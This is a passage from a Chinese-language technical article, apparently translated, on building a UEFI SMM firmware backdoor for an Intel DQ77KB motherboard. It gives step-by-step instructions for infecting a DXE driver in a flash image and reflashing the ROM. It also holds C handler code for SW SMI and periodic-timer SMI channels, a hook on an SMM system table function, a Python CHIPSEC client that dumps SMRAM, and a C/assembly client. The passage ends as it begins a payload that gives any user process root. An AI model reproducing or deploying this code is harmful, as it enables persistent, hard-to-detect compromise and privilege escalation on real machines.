  1. 运行Visual Studio 2008命令行并cd到EDK2目录。
  2. 执行Edk2Setup.bat --pull 来构建环境并下载所需的二进制文件。
  3. cd SmmBackdoor && build
  4. 编译后产生的PE image文件位于Build/OvmfX64/DEBUG_VS2008x86/X64/SmmBackdoor/SmmBackdoor/OUTPUT/SmmBackdoor.efi

SmmBackdoor.efi作为感染器payload并运行:

  1. 在UEFITool中打开测试主板的原始flash image。
  2. 提取PE image的FFS文件,GUID = 26A2481E-4424-46A2-9943-CC4039EAD8F8
  3. 用pyhton感染器将SmmBackdoor.efi插入到提取的 image 中
  4. 在UEFITool中将原PE image 替换为被感染的PE image 。
  5. 保存修改后的flash image文件,并使用flashrom和SPI编程器或任何其他方便的方式将固件 写入主板ROM芯片 。

调试输出

后门开发中棘手的部分是如何获取调试输出。基本上,有两种方法可以解决这个问题:

  • 使用I/O寄存器3F8h:3FFh将调试输出写入到串口中。
  • 使用EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL将调试输出到屏幕上。

Intel DQ77KB主板串口连接到 legacy port controller (super I/O),通过[Low Pin Circuit] (https://en.wikipedia.org/wiki/Low_Pin_Count)(LPC)总线与Q77 Platform controller Hub (PCH)进行通信:

image-20230809161757875

问题是在DXE阶段相对较晚的阶段固件才会初始化这个控制器,所以如果使用COM端口的话,我们不会看到在SMM后门初始化期间执行的BackdoorEntry()和其他函数的任何调试信息。当然,我们可以自己编写代码来手动配置super I/O控制器,但是这样的代码并不是很可靠,因为市场上有太多不同的控制器模型和不同的配置接口。 EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL也有类似的问题——它在受感染的镜像初始化和runtime阶段都不可用(这是更关键的)。 为了处理这种不愉快的情况,我实现了如下的调试消息发送功能:

  1. DbgMsg()函数试图在所有可能的情况下将每个消息打印到屏幕和COM端口。
  2. 如果屏幕和控制台I/O还没有初始化——DbgMsg()则将消息文本保存到全局缓冲区中。
  3. EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL可用时,固件将调用在后门初始化期间注册的通知函数,通知函数会初始化后门控制台I/O并打印全局缓冲区中保存的消息。

这种方法允许我们在屏幕上看到DXE阶段的调试信息,并通过COM端口接收runtime阶段的调试信息。当然,这样的解决方案并不是最方便的,但它应该能工作在不同类型的主板上,而不是取决于感染的镜像加载顺序。 SMM backdoor最终版本的屏幕调试信息示例:

image-20230809161804919

使用SW SMI与SMM通信

前面我们只讨论了SMM阶段的SMRAM初始化部分,第二个重要的部分是SMI调度。UEFI SMM foundation和SMM协议的所有SMIhandler可以分为三类:

  • Root SMI控制器handler——通过使用HandleType NULL值来调用EFI_SMM_SYSTEM_TABLE2.SmiHandlerRegister()注册的主handler。在CPU中生成的每个SMI上都会调用这个handler。通常,Root SMIhandler代码会确定中断源并调用适当的子SMI控制器handler。
  • 子SMI控制器 handler ——处理单个中断源。SMM协议驱动通过使用HandleType的非NULL值调用EFI_SMM_SYSTEM_TABLE2.SmiHandlerRegister()来注册这样的 handler 。特定SMM协议的子 handler 正在调用使用此协议API注册的SMI handler 。
  • SMI handler ——协议特定的 handler 可以被其他SMM驱动程序注册和注销。

平台初始化规范定义了以下SMM子调度协议:

  • EFI_SMM_SW_DISPATCH2_PROTOCOL —— 提供通过向APMC I/O端口B2h中写入值而生成的SMI的调度服务。
  • EFI_SMM_SX_DISPATCH2_PROTOCOL —— 为ACPI Sx事件提供调度服务。
  • EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL —— 提供APIC定时器事件的调度服务。
  • EFI_SMM_USB_DISPATCH2_PROTOCOL —— 提供USB总线事件的调度服务。
  • EFI_SMM_GPI_DISPATCH2_PROTOCOL —— 为General Purpose Input(GPI) SMI源提供调度服务。
  • EFI_SMM_STANDBY_BUTTON_DISPATCH2_PROTOCOL —— 为SMI备用按钮源提供调度服务。
  • EFI_SMM_POWER_BUTTON_DISPATCH2_PROTOCOL —— 提供电源按钮SMI电源的调度服务。
  • EFI_SMM_IO_TRAP_DISPATCH2_PROTOCOL —— 提供I/O指令重启事件的调度服务。

当然,并不是所有的固件供应商都实现了所有这些协议,但是它们中的大多数都应该可以在任何与UEFI兼容的硬件上使用。 与SMM后门通信最简单的方式是使用I/O端口B2h来触发SMI。EFI_SMM_SW_DISPATCH2_PROTOCOL允许我们注册一个SMIhandler,当一些运行在操作系统下的代码将一些handler写入这个I/O端口时,该handler将被调用:

// software SMI handler number to communicate with the backdoor
#define BACKDOOR_SW_SMI_VAL 0xCC
// software SMI handler register context
EFI_SMM_SW_REGISTER_CONTEXT m_SwDispatch2RegCtx = { BACKDOOR_SW_SMI_VAL };

EFI_STATUS EFIAPI SwDispatch2Handler(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize)
{
EFI_SMM_SW_CONTEXT *SwContext = (EFI_SMM_SW_CONTEXT *)CommBuffer;
EFI_SMM_CPU_PROTOCOL *SmmCpu = NULL;
EFI_STATUS Status = EFI_SUCCESS;

DbgMsg(
__FILE__, __LINE__,
__FUNCTION__"(): command port = 0x%X, data port = 0x%X\r\n",
SwContext->CommandPort, SwContext->DataPort
);

// 获取 SMM CPU协议
Status = gSmst->SmmLocateProtocol(&gEfiSmmCpuProtocolGuid, NULL, (PVOID *)&SmmCpu);
if (Status == EFI_SUCCESS)
{
UINT64 Rcx = 0;

// 从CPU保存状态查询RCX寄存器值
Status = SmmCpu->ReadSaveState(
SmmCpu, sizeof(Rcx), EFI_SMM_SAVE_STATE_REGISTER_RCX,
SwContext->SwSmiCpuIndex, (PVOID)&Rcx
);
if (EFI_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ReadSaveState() fails: 0x%X\r\n", Status);
goto _end;
}

// 处理请求句柄
// ...
}
else
{
DbgMsg(__FILE__, __LINE__, "LocateProtocol() fails: 0x%X\r\n", Status);
}

_end:

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
EFI_STATUS EFIAPI SwDispatch2ProtocolNotifyHandler(
CONST EFI_GUID *Protocol,
VOID *Interface,
EFI_HANDLE Handle)
{
EFI_STATUS Status = EFI_SUCCESS;
EFI_HANDLE DispatchHandle = NULL;

// 获取目标协议
EFI_SMM_SW_DISPATCH2_PROTOCOL *SwDispatch = (EFI_SMM_SW_DISPATCH2_PROTOCOL *)Interface;

DbgMsg(__FILE__, __LINE__, "Max. SW SMI value is 0x%X\r\n", SwDispatch->MaximumSwiValue);

// register software SMI handler
Status = SwDispatch->Register(
SwDispatch,
SwDispatch2Handler,
&m_SwDispatch2RegCtx,
&DispatchHandle
);
if (Status == EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "SW SMI handler is at "FPTR"\r\n", SwDispatch2Handler);
}
else
{
DbgMsg(__FILE__, __LINE__, "Register() fails: 0x%X\r\n", Status);
}

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntrySmm(VOID)
{
PVOID Registration = NULL;

// ... skipped ...

// 注册SMM协议信息
EFI_STATUS Status = gSmst->SmmRegisterProtocolNotify(
&gEfiSmmSwDispatch2ProtocolGuid,
SwDispatch2ProtocolNotifyHandler,
&Registration
);
if (Status == EFI_SUCCESS)
{
DbgMsg(
__FILE__, __LINE__, "SMM protocol notify handler is at "FPTR"\r\n",
SwDispatch2ProtocolNotifyHandler
);
}
else
{
DbgMsg(__FILE__, __LINE__, "RegisterProtocolNotify() fails: 0x%X\r\n", Status);
}

// ... skipped ...
}

正如你所看到的,后门代码调用EFI_SMM_SYSTEM_TABLE2.SmmRegisterProtocolNotify()函数来通知EFI_SMM_SW_DISPATCH2_PROTOCOL为可用。handler函数调用EFI_SMM_SW_DISPATCH2_PROTOCOL.Register()函数来注册一个SMIhandler,当CCh值将被写入到B2h I/O端口时,该handler被调用。SMIhandler使用EFI_SMM_CPU_PROTOCOL从保存的执行状态中获取CPU寄存器值。 现在,既然我们可以与后门通信了,那么开始执行payload吧。我们能够从SMM中做的最有用的事情是——为SMRAM内容的转储提供一些外部接口。我按照以下方法设计了这个接口:

  1. 在初始化期间,后门通过MemType参数的EfiRuntimeServicesData值调用EFI_BOOT_SERVICES.AllocatePages()来分配2000h的物理内存,这些内存将在DXE和runtime阶段可用。
  2. 后门存储这个内存地址在固件变量中的常量名,所以,操作系统可以使用EFI_RUNTIME_SERVICES.GetVariable()函数来获取地址。Windows通过kernel32.dll的GetFirmwareEnvironmentVariable()函数或NT内核的ExGetFirmwareEnvironmentVariable()函数提供对固件变量的访问。在Linux固件上,变量可以作为伪文件在/sys/firmware/efi/efivars(或/sys/firmware/efi/vars)目录下,也可以通过mount -t efivars none /some/path挂载到其他位置。
  3. Non-SMM代码存储内存页地址转储到CPU寄存器中,并通过向B2h I/O端口写入常量命令号来触发SMI。
  4. SwDispath2ProtocolNotifyHandler()后门函数将指定地址的内存页内容复制到之前分配的内存中并退出SMM。
  5. 触发SMI时——non-SMM代码从固件变量中查询后门分配的物理内存地址,并获取转储内存的内容。

为了给non-SMM代码提供更多有用的信息,后门也在分配内存开始的地方存储了以下结构体:

typedef struct _BACKDOOR_INFO
{
// 已调用的SMI个数
UINTN CallsCount;
// EFI_STATUS 最后的操作
UINTN BackdoorStatus;

// 带有可用SMRAM区域信息的结构体列表。
// EFI_SMRAM_DESCRIPTOR的值为零。PhysicalStart表示列表的最后一项。
EFI_SMRAM_DESCRIPTOR SmramMap[];

} BACKDOOR_INFO,
*PBACKDOOR_INFO;

为了填充SmramMap字段,后门调用EFI_SMM_ACCESS2_PROTOCOL.GetCapabilities()函数,该函数返回带有所需信息的EFI_SMRAM_DESCRIPTOR结构体。

CHIPSEC, 英特尔的一个固件安全评估框架,为不同的硬件和固件特性提供了一个方便的跨平台Python API:物理内存的读取,EFI变量和PCI配置空间,SMI触发等。让我们来写一些后门通信代码来利用SMRAM转储功能:

import sys, os
from struct import pack, unpack
# CHIPSEC目录路径
CHIPSEC_PATH = '/opt/chipsec/source/tool'

sys.path.append(CHIPSEC_PATH)

# SW SMI和后门SMM代码通信的命令值
BACKDOOR_SW_SMI_VAL = 0xCC

# 对后门的SW SMI命令
BACKDOOR_SW_DATA_READ_PHYS_MEM = 1 # 读取物理内存命令

# EFI变量和_BACKDOOR_INFO结构体的物理地址
BACKDOOR_INFO_EFI_VAR = 'SmmBackdoorInfo-3a452e85-a7ca-438f-a5cb-ad3a70c5d01b'
BACKDOOR_INFO_FMT = 'QQ'
BACKDOOR_INFO_LEN = 8 * 2

PAGE_SIZE = 0x1000

cs = None

class Chipsec(object):

def __init__(self, uefi, mem, ints):

self.uefi, self.mem, self.ints = uefi, mem, ints

def efi_var_get(name):

# 解析name-GUID格式的字符串变量
name = name.split('-')

return cs.uefi.get_EFI_variable(name[0], '-'.join(name[1:]), None)

# helpers for EFI variables with numeric value
efi_var_get_8 = lambda name: unpack('B', efi_var_get(name))[0]
efi_var_get_16 = lambda name: unpack('H', efi_var_get(name))[0]
efi_var_get_32 = lambda name: unpack('I', efi_var_get(name))[0]
efi_var_get_64 = lambda name: unpack('Q', efi_var_get(name))[0]

def mem_read(addr, size):

return cs.mem.read_phys_mem(addr, size)

# helpers to read numeric values from physical memory
mem_read_8 = lambda addr: unpack('B', mem_read(addr, 1))[0]
mem_read_16 = lambda addr: unpack('H', mem_read(addr, 2))[0]
mem_read_32 = lambda addr: unpack('I', mem_read(addr, 4))[0]
mem_read_64 = lambda addr: unpack('Q', mem_read(addr, 8))[0]

def get_backdoor_info_addr():

# BACKDOOR_INFO结构体物理内存的返回地址
return efi_var_get_64(BACKDOOR_INFO_EFI_VAR)

def get_backdoor_info(addr = None):

addr = get_backdoor_info_addr() if addr is None else addr

# 返回BACKDOOR_INFO结构体的字段值
return unpack(BACKDOOR_INFO_FMT, mem_read(addr, BACKDOOR_INFO_LEN))

def get_backdoor_info_mem(addr = None):

addr = get_backdoor_info_addr() if addr is None else addr

# 返回BACKDOOR_INFO结构体的raw数据
return mem_read(addr + PAGE_SIZE, PAGE_SIZE)

def get_smram_info():

ret = []
backdoor_info = get_backdoor_info_addr()
addr, size = backdoor_info + BACKDOOR_INFO_LEN, 8 * 4

# dump EFI_SMRAM_DESCRIPTOR结构体的数组
while True:

'''
typedef struct _EFI_SMRAM_DESCRIPTOR
{
EFI_PHYSICAL_ADDRESS PhysicalStart;
EFI_PHYSICAL_ADDRESS CpuStart;
UINT64 PhysicalSize;
UINT64 RegionState;

} EFI_SMRAM_DESCRIPTOR;
'''
physical_start, cpu_start, physical_size, region_state = \
unpack('Q' * 4, mem_read(addr, size))

if physical_start == 0:

# no more items
break

ret.append(( physical_start, physical_size, region_state ))
addr += size

return ret

def send_sw_smi(command, data, arg):

# 生成SW SMI:数据写入B2h端口,arg拷贝到RCX寄存器
cs.ints.send_SW_SMI(command, data, 0, 0, arg, 0, 0, 0)

def dump_mem_page(addr, count = None):

ret = ''
backdoor_info = get_backdoor_info_addr()
count = 1 if count is None else count

# 从addr开始dump指定数量的内存页
for i in range(count):

# 发送读取内存的命令到SMM代码
page_addr = addr + PAGE_SIZE * i
send_sw_smi(BACKDOOR_SW_SMI_VAL, BACKDOOR_SW_DATA_READ_PHYS_MEM, page_addr)

# 从物理内存中读取被转储的页
_, last_status = get_backdoor_info(addr = backdoor_info)
if last_status != 0:

raise Exception('SMM backdoor error 0x%.8x' % last_status)

ret += get_backdoor_info_mem(addr = backdoor_info)

return ret

def dump_smram():

try:

contents = []

print '[+] Dumping SMRAM regions, this may take a while...'

# 枚举并转储可用的SMRAM区域
for region in get_smram_info():

region_addr, region_size, _ = region
name = 'SMRAM_dump_%.8x_%.8x.bin' % (region_addr, region_addr + region_size - 1)

# 转储区域内容
data = dump_mem_page(region_addr, region_size / PAGE_SIZE)

contents.append(( name, data ))

# 保存转储的数据到文件
for name, data in contents:

with open(name, 'wb') as fd:

print '[+] Creating', name
fd.write(data)

except IOError, why:

print '[!]', str(why)
return False

def chipsec_init():

global cs

# import CHIPSEC modules
import chipsec.chipset
import chipsec.hal.uefi
import chipsec.hal.physmem
import chipsec.hal.interrupts

# initialize helper
_cs = chipsec.chipset.cs()
_cs.init(None, True)

cs = Chipsec(chipsec.hal.uefi.UEFI(_cs.helper),
chipsec.hal.physmem.Memory(_cs.helper),
chipsec.hal.interrupts.Interrupts(_cs))

if __name__ == '__main__':

chipsec_init()
dump_smram()

我实现了一个名为SmmBackdoor.py的脚本,它允许用后门代码感染已提取的DXE驱动程序,并使用SW SMI与已安装的后门程序交互。可用的命令如下:

  • SmmBackdoor.py --infect <source_path> --output <dest_path> --payload SmmBackdoor.efi —— 用后门代码感染DXE驱动程序的PE image
  • SmmBackdoor.py --test —— 检查后门是否存在并从BACKDOOR_INFO结构体中打印状态信息。
  • SmmBackdoor.py --dump-smram —— 将所有可用的SMRAM区域转储到文件中。
  • SmmBackdoor.py --read-phys <address> —— 打印给定地址的物理内存页的十六进制转储。
  • SmmBackdoor.py --read-virt <address> —— 打印给定地址的虚拟内存页的十六进制转储。

使用示例——转储SMRAM中的CSEG和TSEG区域:

image-20230809161830194

你可能已经注意到SW SMI通信方法有一个严重的限制:我们需要作为root或Administator来触发SMI并访问物理内存。如果你打算利用这种后门进行研究或逆向工程,这没问题,但为了达到攻击的目的,我们需要找到一些更好的方法来调用后门代码,并适用于任何权限级别。

使用APIC timer与SMM进行通信

发现可用的SMM子调度协议功能后,我认为EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL可以允许配置Advanced Programmable Interrupt Controller (APIC) timer并以指定的时间间隔来触发SMI,所以,可以实现以下通信方法:

  1. Non-SMM代码将带有magic常量的后门命令参数复制到CPU寄存器并进入死循环。
  2. 当用EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL.Register()函数注册的SMI timerhandler被调用时 —— 它会用magic常量检查保存的执行上下文中是否有寄存器值,如果有——它会执行指定的命令,并修改保存的指令的指针值,使non-SMM代码退出死循环。
  3. 后门也可以做虚拟地址到物理地址的转换,复制一些返回数据到缓冲区,通过non-SMM代码传递。

此方法的客户端代码非常简单,不依赖于任何API或执行环境。它适用于任何权限级别——从沙箱用户模式程序到ring 0代码。 注册SMI timerhandler的后门代码:

// periodic timer 全局变量
EFI_HANDLE m_PeriodicTimerDispatchHandle = NULL;
EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL *m_PeriodicTimerDispatch = NULL;
/*
SMM periodic timer注册上下文,包含Period和TickInterval值。
阅读平台初始化规范第4卷中EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL
的描述信息以获得更多关于它们的信息。
*/
EFI_SMM_PERIODIC_TIMER_REGISTER_CONTEXT m_PeriodicTimerDispatch2RegCtx = { 1000000, 640000 };

/*
这个结构体保存CPU saved state中控制寄存器的值,
这些值用于虚拟地址到物理地址的转换

*/
typedef struct _CONTROL_REGS
{
UINT64 Cr0, Cr3, Cr4;

} CONTROL_REGS,
*PCONTROL_REGS;

// 这个宏从CPU execution state中保存的SMRAM中读取寄存器值
#define READ_SAVE_STATE(_id_, _var_) \
\
Status = SmmCpu->ReadSaveState(SmmCpu, \
sizeof((_var_)), (_id_), gSmst->CurrentlyExecutingCpu, (PVOID)&(_var_)); \
\
if (EFI_ERROR(Status)) \
{ \
DbgMsg(__FILE__, __LINE__, "ReadSaveState() fails: 0x%X\r\n", Status); \
goto _end; \
}

// 这个宏用于修改CPU execution state的寄存器值
#define WRITE_SAVE_STATE(_id_, _var_, _val_) \
\
(_var_) = (UINT64)(_val_); \
Status = SmmCpu->WriteSaveState(SmmCpu, \
sizeof((_var_)), (_id_), gSmst->CurrentlyExecutingCpu, (PVOID)&(_var_)); \
\
if (EFI_ERROR(Status)) \
{ \
DbgMsg(__FILE__, __LINE__, "WriteSaveState() fails: 0x%X\r\n", Status); \
goto _end; \
}

#define MAX_JUMP_SIZE 6

EFI_STATUS EFIAPI PeriodicTimerDispatch2Handler(
EFI_HANDLE DispatchHandle, CONST VOID *Context,
VOID *CommBuffer, UINTN *CommBufferSize)
{
EFI_STATUS Status = EFI_SUCCESS;
EFI_SMM_CPU_PROTOCOL *SmmCpu = NULL;

// 获取SMM CPU协议
Status = gSmst->SmmLocateProtocol(&gEfiSmmCpuProtocolGuid, NULL, (PVOID *)&SmmCpu);
if (Status == EFI_SUCCESS)
{
CONTROL_REGS ControlRegs;
UINT64 Rax = 0, Rcx = 0, Rdx = 0, Rdi = 0, Rsi = 0, R8 = 0, R9 = 0;

READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_CR0, ControlRegs.Cr0);
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_CR3, ControlRegs.Cr3);
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_CR4, ControlRegs.Cr4);
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RCX, Rcx); // user-mode instruction pointer
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RDI, Rdi); // 1-st param (code)
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RSI, Rsi); // 2-nd param (arg1)
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RDX, Rdx); // 3-rd param (arg2)
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_R8, R8); // 1-st magic constant
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_R9, R9); // 2-nd magic constant

/*
检查在smm_call()中设置的magic值,
查看 smm_call/smm_call.asm 以获取更多信息
*/
if (R8 == BACKDOOR_SMM_CALL_R8_VAL && R9 == BACKDOOR_SMM_CALL_R9_VAL)
{
DbgMsg(
__FILE__, __LINE__,
"smm_call(): CPU #%d, RDI = 0x%llx, RSI = 0x%llx, RDX = 0x%llx\r\n",
gSmst->CurrentlyExecutingCpu, Rdi, Rsi, Rdx
);

// 处理后门控制请求
// ...

// 设置smm_call()的返回值
WRITE_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RAX, Rax, Status);

// 让代码退出死循环
WRITE_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RCX, Rcx, Rcx - MAX_JUMP_SIZE);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "LocateProtocol() fails: 0x%X\r\n", Status);
}

_end:

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
EFI_STATUS PeriodicTimerDispatch2Register(EFI_HANDLE *DispatchHandle)
{
EFI_STATUS Status = EFI_INVALID_PARAMETER;

if (m_PeriodicTimerDispatch)
{
// 注册periodic timer例程
Status = m_PeriodicTimerDispatch->Register(
m_PeriodicTimerDispatch,
PeriodicTimerDispatch2Handler,
&m_PeriodicTimerDispatch2RegCtx,
DispatchHandle
);
if (Status == EFI_SUCCESS)
{
DbgMsg(
__FILE__, __LINE__, "SMM timer handler is at "FPTR"\r\n",
PeriodicTimerDispatch2Handler
);
}
else
{
DbgMsg(__FILE__, __LINE__, "Register() fails: 0x%X\r\n", Status);
}
}

return Status;
}
//--------------------------------------------------------------------------------------
EFI_STATUS PeriodicTimerDispatch2Unregister(EFI_HANDLE DispatchHandle)
{
EFI_STATUS Status = EFI_INVALID_PARAMETER;

if (m_PeriodicTimerDispatch)
{
// 卸载 periodic timer例程
Status = m_PeriodicTimerDispatch->UnRegister(
m_PeriodicTimerDispatch,
DispatchHandle
);
if (Status == EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "SMM timer handler unregistered\r\n");
}
else
{
DbgMsg(__FILE__, __LINE__, "Unregister() fails: 0x%X\r\n", Status);
}
}

return Status;
}
//--------------------------------------------------------------------------------------
EFI_STATUS EFIAPI PeriodicTimerDispatch2ProtocolNotifyHandler(
CONST EFI_GUID *Protocol,
VOID *Interface,
EFI_HANDLE Handle)
{
EFI_STATUS Status = EFI_SUCCESS;
UINT64 *SmiTickInterval = NULL;

// 获取目标协议
m_PeriodicTimerDispatch =
(EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL *)Interface;

// 启用periodic timer SMI
PeriodicTimerDispatch2Register(m_PeriodicTimerDispatchHandle);

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntrySmm(VOID)
{
PVOID Registration = NULL;

// ... skipped ...

// 注册 SMM 协议信息
EFI_STATUS Status = gSmst->SmmRegisterProtocolNotify(
&gEfiSmmPeriodicTimerDispatch2ProtocolGuid,
PeriodicTimerDispatch2ProtocolNotifyHandler,
&Registration
);
if (Status == EFI_SUCCESS)
{
DbgMsg(
__FILE__, __LINE__, "SMM protocol notify handler is at "FPTR"\r\n",
PeriodicTimerDispatch2ProtocolNotifyHandler
);
}
else
{
DbgMsg(__FILE__, __LINE__, "RegisterProtocolNotify() fails: 0x%X\r\n", Status);
}

// ... skipped ...
}

当我第一次在我的主板上运行这个代码时——我发现periodic timer可以初始化并正常工作,但是在操作系统(64位Linux)加载过程中,它会停止生成SMI。这种行为很容易解释:在初期引导期间,OS内核覆盖了APIC控制器配置,显然破坏了由受感染的固件配置的timer。因为没有简单的/文档化的方法来保护APIC配置不受操作系统的更改——我们需要找到一种方法,在内核初始化较晚的阶段,从SMM代码重新初始化timer。 我花了一些时间来hook并模拟SMST函数,我发现在板载硬件初始化的后期阶段,我的固件代码会调用EFI_SMM_SYSTEM_TABLE2.SmmLocateProtocol()函数来找到GUID = 3EF7500E-CF55-474F-8E7E009E0EACECD2(google说它的内部厂商定义名为AMI_USB_SMM_PROTOCOL_GUID)的协议。因为APIC此时已经被内核初始化了——我实现了hook EFI_SMM_SYSTEM_TABLE2.SmmLocateProtocol()的后门代码,并在hook处理函数内重新安装我们的periodic timer:

#define AMI_USB_SMM_PROTOCOL_GUID { 0x3ef7500e, 0xcf55, 0x474f, \
{ 0x8e, 0x7e, 0x00, 0x9e, 0x0e, 0xac, 0xec, 0xd2 }}

EFI_LOCATE_PROTOCOL old_SmmLocateProtocol = NULL;

EFI_STATUS EFIAPI new_SmmLocateProtocol(
EFI_GUID *Protocol,
VOID *Registration,
VOID **Interface)
{
EFI_GUID TargetGuid = AMI_USB_SMM_PROTOCOL_GUID;

/*
完全针对英特尔DQ77KB主板的攻击,
SmmLocateProtocol 和 AMI_USB_SMM_PROTOCOL_GUID 在APIC初始化后的OS启动过程中被调用
*/
if (Protocol && !memcmp(Protocol, &TargetGuid, sizeof(TargetGuid)))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"()\r\n");

if (m_PeriodicTimerDispatchHandle)
{
// 卸载先前注册的timer
PeriodicTimerDispatch2Unregister(m_PeriodicTimerDispatchHandle);
m_PeriodicTimerDispatchHandle = NULL;
}

// 再次启用 periodic timer SMI
PeriodicTimerDispatch2Register(&m_PeriodicTimerDispatchHandle);

// 移除钩子
gSmst->SmmLocateProtocol = old_SmmLocateProtocol;
}

// 调用原始函数
return old_SmmLocateProtocol(Protocol, Registration, Interface);
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntrySmm(VOID)
{
PVOID Registration = NULL;

// ... skipped ...

// hoot SmmLocateProtocol() SMST函数,在操作系统启动时执行后门代码
old_SmmLocateProtocol = gSmst->SmmLocateProtocol;
gSmst->SmmLocateProtocol = new_SmmLocateProtocol;

// ... skipped ...
}

当然,这种只针对指定主板的代码对后门的可靠性并不是很好,但它对平台的稳定性没有影响,而且它的代码一点也不复杂。如果你对如何以可移植的方式来解决这个APIC问题有任何想法,让timer设置在操作系统加载后仍然有效——请让我知道:) 这个通信方法的客户端代码是用C和ASM编写的,在跳转到死循环之前,它调用Linux的sched_setaffinity()函数,以确保调度程序会在第一个CPU上运行循环:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>

// 在汇编中实现的外部功能
extern int smm_call(long code, unsigned long long arg1, unsigned long long arg2);

int main(int argc, char *argv[])
{
int ret = 0;
cpu_set_t mask;

CPU_ZERO(&mask);
CPU_SET(0, &mask);

// 告诉调度程序只在第一个CPU上运行当前进程
ret = sched_setaffinity(0, sizeof(mask), &mask);
if (ret != 0)
{
printf("sched_setaffinity() ERROR %d\n", errno);
return errno;
}

int code = 0;
unsigned long long arg1 = 0, arg2 = 0;

/*
从命令行参数解析SMM后门调用的参数。
*/

if (argc >= 2)
{
if ((code = strtol(argv[1], NULL, 16)) == 0 && errno == EINVAL)
{
printf("strtol() ERROR %d\n", errno);
return errno;
}
}

if (argc >= 3)
{
if ((arg1 = strtoull(argv[2], NULL, 16)) == 0 && errno == EINVAL)
{
printf("strtoull() ERROR %d\n", errno);
return errno;
}
}

if (argc >= 4)
{
if ((arg2 = strtoull(argv[3], NULL, 16)) == 0 && errno == EINVAL)
{
printf("strtoull() ERROR %d\n", errno);
return errno;
}
}

printf(
"Calling SMM backdoor with code = 0x%x and args 0x%llx, 0x%llx...\n",
code, arg1, arg2
);

/*
跳转到死循环以调用SMM后门。
如果后门不可用 —— 这个函数会一直挂起。
*/
ret = smm_call(code, arg1, arg2);

printf("Sucess! Status code: 0x%.8x\n", ret);

return ret;
}

客户端代码的汇编部分:BITS 64
GLOBAL smm_call

;
; 供后门检测的magic值
;
%define R8_VAL 0x4141414141414141
%define R9_VAL 0x4242424242424242

;
; int smm_call(long code, unsigned long long arg1, unsigned long long arg2)
;
; 向SMM后门发送带有指定代码和参数的控制请求
;
;
; Returns EFI_STATUS of requested operation.
;
smm_call:

push rcx
push r8
push r9

; SMI timerhandler检查R8和R9是否有magic值
mov r8, R8_VAL
mov r9, R9_VAL

xor rax, rax
dec rax

; 以RCX作为指令地址跳转到循环中
mov rcx, _loop
jmp rcx

; 结束地址为修改后的RCX值
nop
nop
nop
nop
nop
nop
jmp short _end

_loop:
;
; 当进程在具有magic寄存器值的死循环中运行时,
; 将调用SMI计时器handler。
; SMM backdoor使RCX值递减 (--> jmp _end) ,退出循环
; SmmCallHandle()的代码和参数将进入RDI和RSI。
;
nop
jmp rcx

_end:

pop r9
pop r8
pop rcx

; SMM后门将状态码返回至RAX寄存器中
ret

后门在启动时自动periodic timer SMI处理器,但是它 在runtime阶段 可能会要求后门启用或禁用它,使用上面SmmBackdoor.py程序:

  • SmmBackdoor.py --timer-enable —— 启用periodic timer SMI
  • SmmBackdoor.py --timer-disable —— 禁用periodic timer SMI

更高级的payload示例

当我们有适用于任何权限级别的SMM通信代码后,我们有理由改进后门并编写payload以接受攻击者的普通用户模式下Linux进程的命令并赋予它root特权。 为了获得当前进程的权限级别,Linux使用sys_getuid()sys_geteuid()sys_getgid()sys_getegid()系统调用,让我们以sys_getuid()为例看一下它们的汇编代码:

sys_getuid:

65 48 8b 04 25 00 c7 00 00     mov %gs:0xc700, %rax      ; get task_struct
48 8b 80 88 03 00 00           mov 0x388(%rax), %rax     ; get task_struct->cred
8b 40 04                       mov 0x4(%rax), %eax       ; get desired value from cred
c3                             retq

如你所见,内核从GS段获取当前进程的结构地址task_struct,并从task_struct->cred.uid, task_struct->cred.euid, task_struct->cred.gidtask_struct->cred.egid字段获取当前用户和组的信息。 要在 SMM后门代码中 修改来自SMIhandler的cred值则需要知道它们的偏移量,这些偏移量可能在不同的构建和Linux内核版本之间发生更改。为了避免大量特定于操作系统的逻辑出现在后门代码中,它从客户端接收sys_getuid()sys_geteuid()sys_getgid()sys_getegid()内核函数的地址,并从它们的二进制代码中提取所需字段的偏移量。要给进程root权限,后门代码只需要设置这些字段的值为0:/*
从SW SMI或periodic timerhandler调度SMM后门命令。
Code, Arg1 和 Arg2 通常来自后门客户端设置的CPU寄存器值。

*/
EFI_STATUS SmmCallHandle(UINT64 Code, UINT64 Arg1, UINT64 Arg2, PCONTROL_REGS ControlRegs)
{
EFI_STATUS Status = EFI_INVALID_PARAMETER;
switch (Code)
{
case BACKDOOR_PRIVESC:
{
